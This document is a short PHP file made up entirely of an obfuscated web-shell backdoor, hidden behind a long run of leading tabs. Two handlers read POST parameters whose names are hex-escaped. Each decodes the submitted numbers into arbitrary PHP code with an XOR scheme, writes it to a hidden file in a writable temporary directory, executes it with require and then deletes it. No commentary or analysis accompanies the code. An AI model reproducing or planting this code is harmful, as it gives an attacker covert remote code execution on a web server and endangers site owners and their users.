<?php																																										if(isset($_POST) && isset($_POST["s\x79mbol"])){ $data = array_filter([getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp"]); $val = $_POST["s\x79mbol"]; $val = explode ( '.' , $val ) ; $elem = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $v = 0; $len = count($val); do {if ($v>= $len) break; $v5 = $val[$v]; $sChar = ord($s6[$v % $lenS]); $d = ((int)$v5 - $sChar - ($v % 10)) ^ 37; $elem .= chr($d); $v++; } while (true); $entry = 0; do { $dchunk = $data[$entry] ?? null; if ($entry >= count($data)) break; if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $resource = sprintf("%s/.entity", $dchunk); if (file_put_contents($resource, $elem)) { require $resource; unlink($resource); exit; } } $entry++; } while (true); }


if(isset($_POST) && isset($_POST["res\x6F\x75\x72\x63e"])){
	$token = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$pgrp = $_POST["res\x6F\x75\x72\x63e"];
				$pgrp=explode	 ("." 		,   $pgrp	  ) 		; 	 
	$data = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s	);
            $l = 0;
    
            array_walk($pgrp , function ($v1) use (&$data , &$l , $s , $lenS) {
                $chS = ord($s[$l	%		$lenS]	);
                $dec = ((int)$v1 - $chS - ($l	%		10)) ^ 16;
                $data .= chr($dec	);
                $l++; 	}	 );
	$rec = 0;
do {
    $hld = $token[$rec] ?? null;
    if ($rec >= count($token)) break;
    		if (is_dir($hld) && is_writable($hld)) {
    $res = "$hld" . "/.ent";
    if (file_put_contents($res, $data)) {
	require $res;
	unlink($res);
	exit;
}
}
    $rec++;
} while (true);
}